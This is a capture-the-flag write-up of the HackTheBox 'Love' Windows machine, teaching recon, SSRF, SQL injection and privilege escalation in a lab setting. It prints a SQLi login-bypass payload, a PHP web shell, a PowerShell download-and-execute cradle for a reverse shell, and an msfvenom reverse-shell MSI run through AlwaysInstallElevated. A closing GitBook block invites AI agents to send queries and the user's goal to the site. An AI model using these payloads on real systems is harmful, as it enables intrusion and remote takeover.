> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox Writeup

Love HackTheBox Easy Windows machine writeup covering SQL injection (SQLI), Server Side Request Forgery (SSRF), File Upload Abuse, Exploiting Voting System, with practical enumeration, exploitation, f

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Skills:**

* SQL injection (SQLI)
* Server Side Request Forgery (SSRF)
* File Upload Abuse
* Exploiting Voting System
* Abusing AlwaysInstallElevated (msiexec/msi file)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d9e54df74ea38c2ead72813edfb0d744d578c2%2Fimage%20(1199).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7092bbf4de996bf713a4792aed7dfb8202eafddd%2Fimage%20(1200).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:** Exploring open ports and exporting in the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a216b61d5b58b79fd9f2a5bb3144310865434426%2Fimage%20(1201).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:** Use of the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79b9ffe963da4696adf5a34ceb9212824fd39919%2Fimage%20(1202).png?alt=media" alt=""><figcaption></figcaption></figure>

**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file:

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d02ab71f7459e058e046f215dbb1fcbf5812ed%2Fimage%20(1204).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c0367a57e60a7bbcd69dc232488ef98857d676b%2Fimage%20(1205).png?alt=media" alt=""><figcaption></figcaption></figure></div>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be2bf8202ac60dee616cb3d279d29149a74d9a29%2Fimage%20(1206).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Search for directories:**

We use Gobuster to search for directories on the site:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8dd7b5b54f745782fb4bcad9bd5bded32f7210%2Fimage%20(1207).png?alt=media" alt=""><figcaption></figcaption></figure>

In the `admin` directory, we discover a management panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3411d3cbb7fb8f0f3639d3519571434a90ba1192%2Fimage%20(1212).png?alt=media" alt=""><figcaption></figcaption></figure>

## Voting System Exploitation :

In this case, there are two ways to operate the Voting System management panel:

### 1. Vulnerability SSRF:

Port 443 reveals a `staging.love.htb` subdomain that we add to our `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1931706887f9841b21d0d6b7f29523e5be282467%2Fimage%20(1223).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

This site can scan websites through a URL.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16159e0873e57e339ec7344797e6dc6076818a3f%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

By scanning `localhost:5000` (not available from outside), we discover credentials:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a230bd7b19475a5505f4f6554144f49077e299c6%2Fimage%20(1225).png?alt=media" alt=""><figcaption></figcaption></figure>

Note: Outside, the message " You don't have permission to access this resource." is displayed, blocking access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c70497eee1b1d32467fdf409bae1203e05a695%2Fimage%20(1226).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **2. Vulnerability SQL Injection (**[**SQLi**](/web/sql-injection.md)**) :**

With `searchsploit` we look for specific Voting System vulnerabilities and find the following payload:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Using Burp Suite, we access the dashboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability Upload Files:

Once in the dashboard, an option allows you to create a new user. We create a `cmd.php` file to run commands on the server:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

The panel does not apply any security checks, allowing us to inject commands (e.g., `whoami`). By testing a ping command, we check the connection:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

we will check whether it can launch a ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

As we receive the answer, we confirm the possibility to execute commands on the target machine

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**PowerShell command for shell reverse**

Once we see that we can execute commands, we will download the `PS.ps1` script to our team.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

At the end of the script, we add the following line:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

We will create a web server with the `PS.ps1` script

```bash
python3 -m http.server 80
```

Then we will modify the command to point to our web server:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Finally, we listen to port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7095aa6d2dd7221f5dc47589fee264b512f5e758%2Fimage%20(1222).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation:

### **Enumeration with winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

To perform privilege escalation on a Windows server, first run the `winPEAS` reconnaissance tool.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Downloading the WIN-peacex64.exe recognition tool.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a9743051dc095176e3a3c8ef159c01a51586a73%2Fimage%20(2328).png?alt=media" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15619f178525c4f0a797ccc8311acf8efdb6782%2Fimage%20(2330).png?alt=media" alt=""><figcaption></figcaption></figure>

### Checking AlwaysInstallElevated

The `winPEAS` tool checks various system security settings. We are particularly interested in the `AlwaysInstallElevated` registry key. If this key is set to `1` in `HKLM` (HKEY/ LOCAL/ MACHINE), this indicates that all `.msi` files can be installed with high privileges, which is a vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2258ba95e1950623db76d0de21d891568ae5db44%2Fimage%20(2332).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Create a.msi file to get a shell reverse**

To take advantage of this vulnerability, we will create a `.msi` file that, once executed, will provide us with a reverse shell. We use `msfvenom` to generate this file:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Transfer from.msi**/ file After creating the file, we must transfer it to the target machine:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed0c855985976ed82675c4547b2a5e4d1e7a7c21%2Fimage%20(2333).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listen to port 443**/ Before running the `.msi` file, we must listen to the port we have specified. Let's use `nc` (netcat) for this:

```powershell
rlwrap nc -nlvp 443
```

**Installation command execution**/ Finally, we run the `.msi` file using `msiexec`, which triggers the silent installation:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b28d83a925bae2e25fb4c4b5795935553aea299%2Fimage%20(2334).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7209939d8b64e1448eddbcc36ca23ffe24c7003%2Fimage%20(2335).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe4cfcd5342a6e24839029b99d99b4fd92075ff5%2F%7BEBDB5A49-677A-4F86-9619-69F0AC95E833%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
